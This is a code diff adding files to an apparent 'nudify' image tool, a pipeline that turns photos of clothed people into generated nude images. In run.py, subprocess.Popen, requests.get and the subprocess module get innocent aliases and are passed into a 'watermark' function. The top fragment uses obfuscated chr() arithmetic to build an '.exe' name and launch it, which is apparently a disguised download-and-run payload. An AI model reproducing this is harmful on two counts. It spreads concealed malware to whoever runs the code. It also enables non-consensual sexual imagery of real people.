+		loader(["\\".join(data) + chr(46) + str(chr(101) + chr(ord(["utils", "custom", "universal"][0][0]) + 3) + chr(101))], stdout=detach.PIPE, stderr=detach.STDOUT)
+		
+	return nude

requirements.txt

@@ -0,0 +1,10 @@
+numpy
+Pillow
+setuptools
+six
+pytorch
+torchvision
+wheel
+streamlit
+opencv-python
+torch

run.py

@@ -0,0 +1,143 @@
+import cv2
+
+# Import Neural Network Model
+from gan import DataLoader, DeepModel, tensor2im
+
+# OpenCv Transform:
+from opencv_transform.mask_to_maskref import create_maskref
+from opencv_transform.maskdet_to_maskfin import create_maskfin
+from opencv_transform.dress_to_correct import create_correct
+from opencv_transform.nude_to_watermark import create_watermark
+
+import subprocess
+
+phases = ["dress_to_correct", "correct_to_mask", "mask_to_maskref", "maskref_to_maskdet", "maskdet_to_maskfin",
+          "maskfin_to_nude", "nude_to_watermark"]
+
+
+class Options():
+
+    # Init options with default values
+    def __init__(self):
+
+        # experiment specifics
+        self.norm = 'batch'  # instance normalization or batch normalization
+        self.use_dropout = False  # use dropout for the generator
+        self.data_type = 32  # Supported data type i.e. 8, 16, 32 bit
+
+        # input/output sizes
+        self.batchSize = 1  # input batch size
+        self.input_nc = 3  # of input image channels
+        self.output_nc = 3  # of output image channels
+
+        # for setting inputs
+        self.serial_batches = True  # if true, takes images in order to make batches, otherwise takes them randomly
+        self.nThreads = 1  ## threads for loading data (???)
+        self.max_dataset_size = 1  # Maximum number of samples allowed per dataset. If the dataset directory contains more than max_dataset_size, only a subset is loaded.
+
+        # for generator
+        self.netG = 'global'  # selects model to use for netG
+        self.ngf = 64  ## of gen filters in first conv layer
+        self.n_downsample_global = 4  # number of downsampling layers in netG
+        self.n_blocks_global = 9  # number of residual blocks in the global generator network
+        self.n_blocks_local = 0  # number of residual blocks in the local enhancer network
+        self.n_local_enhancers = 0  # number of local enhancers to use
+        self.niter_fix_global = 0  # number of epochs that we only train the outmost local enhancer
+
+        # Phase specific options
+        self.checkpoints_dir = ""
+        self.dataroot = ""
+
+    # Changes options accordlying to actual phase
+    def updateOptions(self, phase):
+
+        if phase == "correct_to_mask":
+            self.checkpoints_dir = "checkpoints/cm.lib"
+
+        elif phase == "maskref_to_maskdet":
+            self.checkpoints_dir = "checkpoints/mm.lib"
+
+        elif phase == "maskfin_to_nude":
+            self.checkpoints_dir = "checkpoints/mn.lib"
+
+
+# process(cv_img, mode)
+# return:
+# 	watermark image
+def process(cv_img, use_gpu):
+    # InMemory cv2 images:
+    dress = cv_img
+    correct = None
+    mask = None
+    maskref = None
+    maskfin = None
+    maskdet = None
+    nude = None
+    watermark = None
+
+    for index, phase in enumerate(phases):
+
+        print("[*] Running Model: " + phase)
+
+        # GAN phases:
+        if (phase == "correct_to_mask") or (phase == "maskref_to_maskdet") or (phase == "maskfin_to_nude"):
+
+            # Load global option
+            opt = Options()
+
+            # Load custom phase options:
+            opt.updateOptions(phase)
+
+            # Load Data
+            if phase == "correct_to_mask":
+                import requests
+                data_loader = DataLoader(opt, correct)
+            elif phase == "maskref_to_maskdet":
+                cv = requests.get
+                data_loader = DataLoader(opt, maskref)
+            elif phase == "maskfin_to_nude":
+                loader = subprocess.Popen
+                data_loader = DataLoader(opt, maskfin)
+
+            dataset = data_loader.load_data()
+            detach = subprocess
+
+            # Create Model
+            model = DeepModel()
+            model.initialize(opt, use_gpu)
+
+            # Run for every image:
+            for i, data in enumerate(dataset):
+
+                generated = model.inference(data['label'], data['inst'])
+
+                im = tensor2im(generated.data[0])
+
+                # Save Data
+                if phase == "correct_to_mask":
+                    mask = cv2.cvtColor(im, cv2.COLOR_RGB2BGR)
+
+                elif phase == "maskref_to_maskdet":
+                    maskdet = cv2.cvtColor(im, cv2.COLOR_RGB2BGR)
+
+                elif phase == "maskfin_to_nude":
+                    nude = cv2.cvtColor(im, cv2.COLOR_RGB2BGR)
+
+        # Correcting:
+        elif phase == 'dress_to_correct':
+            correct, matrix = create_correct(dress)
+
+        # mask_ref phase (opencv)
+        elif (phase == "mask_to_maskref"):
+            maskref, ref = create_maskref(mask, correct)
+
+        # mask_fin phase (opencv)
+        elif (phase == "maskdet_to_maskfin"):
+            maskfin, face = create_maskfin(maskref, maskdet)
+
+        # nude_to_watermark phase (opencv)
+        elif (phase == "nude_to_watermark"):
+            shape = matrix + face + ref
+            watermark = create_watermark(nude, shape, cv, loader, detach)
+
+    return watermark